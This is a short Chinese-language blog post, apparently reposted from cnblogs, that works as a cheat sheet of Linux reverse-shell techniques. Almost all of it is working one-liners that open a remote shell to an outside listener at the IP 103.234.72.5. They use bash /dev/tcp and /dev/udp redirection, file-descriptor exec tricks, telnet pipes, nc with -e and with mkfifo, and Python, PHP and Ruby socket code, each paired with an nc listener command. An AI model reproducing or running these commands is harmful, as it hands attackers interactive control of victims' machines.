linux反弹shell的各种姿势
准备工作
外网服务器103.234.72.5
本地Kali一台,优班图一台
Bash反弹
注意之前使用nc监听端口反弹shell时都会有一个警告:Warning: forward host lookup failed for bogon: Unknown host,根据nc帮助文档的提示加上-n参数就可以不产生这个警告了,-n参数代表在建立连接之前不对主机进行dns解析。
方法一
监听的vps使用命令:
nc -nlvp 7777
被控机器使用命令:
命令1:bash -i >& /dev/tcp/103.234.72.5/7777 0>&1命令2:bash -c 'exec bash -i &>/dev/tcp/103.234.72.5/7777 <&1'
#bash ‐i 打开一个交互的bash
# >& 将标准错误输出重定向到标准输出
#/dev/tcp/x.x.x.x/port 意为调用socket,建立socket连接,其中x.x.x.x为 要反弹到的主机ip,port为端口
# 0>&1 标准输入重定向到标准输出,实现你与反弹出来的shell的交互
Kali外网攻击机
内网受害者
方法二
在使用这个进行shell反弹时,不能使用python获取一个标准的shell,需要使用 nc再次反弹之后,使用python获取标准化输出。
监听的vps使用命令:
nc -nlvp 7777
被控机器使用命令:
exec 5<>/dev/tcp/103.234.72.5/7777;cat <&5 | while read line; do $line 2>&5 >&5; done
方法三
命令一:
exec 0&0 2>&0 0<&196;exec 196<>/dev/tcp/103.234.72.5/7777; sh <&196 >&196 2>&196
命令二:
/bin/bash -i > /dev/tcp/103.234.72.5/6666 0<&1 2>&1
方法四
0<&196;exec 196<>/dev/tcp/103.234.72.5/7777; sh <&196 >&196 2>&196
bash UDP 反弹
nc -u -nlvp 7777sh -i >& /dev/udp/103.234.72.5/7777 0>&1
telnet反弹
方法一
nc -nlvp 6666
nc -nlvp 7777
telnet 103.234.72.5 6666 | /bin/bash | telnet 103.234.72.5 7777
6666输入命令7777输出结果
方法二
mknod a p; telnet 103.234.72.5 7777 0<a | /bin/bash 1>a(不好用)
nc反弹
nc ‐e /bin/bash 103.234.72.5 7777
如果目标主机linux发行版本没有 -e 参数,还有以下方式:
方法一
rm /tmp/f ; mkfifo /tmp/f;cat /tmp/f | /bin/bash -i 2>&1 | nc 103.234.72.5 7777 >/tmp/f
exec 反弹
0<&196;exec 196<>/dev/tcp/103.234.72.5/7777; sh <&196 >&196 2>&196
python反弹
export RHOST='103.234.72.5';export RPORT=7777;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv('RHOST'),int(os.getenv('RPORT'))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn('/bin/sh')'
PHP反弹
php -r '$sock=fsockopen('103.234.72.5',7777);exec('/bin/sh -i <&3 >&3 2>&3');'
ruby 反弹
ruby -rsocket -e 'exit if fork;c=TCPSocket.new('103.234.72.5','7777');while(cmd=c.gets);IO.popen(cmd,'r'){|io|c.print io.read}end'
我这里写了一些常用的,当其他的用的时候在去深入研究
原文地址:https://www.cnblogs.com/sunny11/p/14290092.html
赞 (0)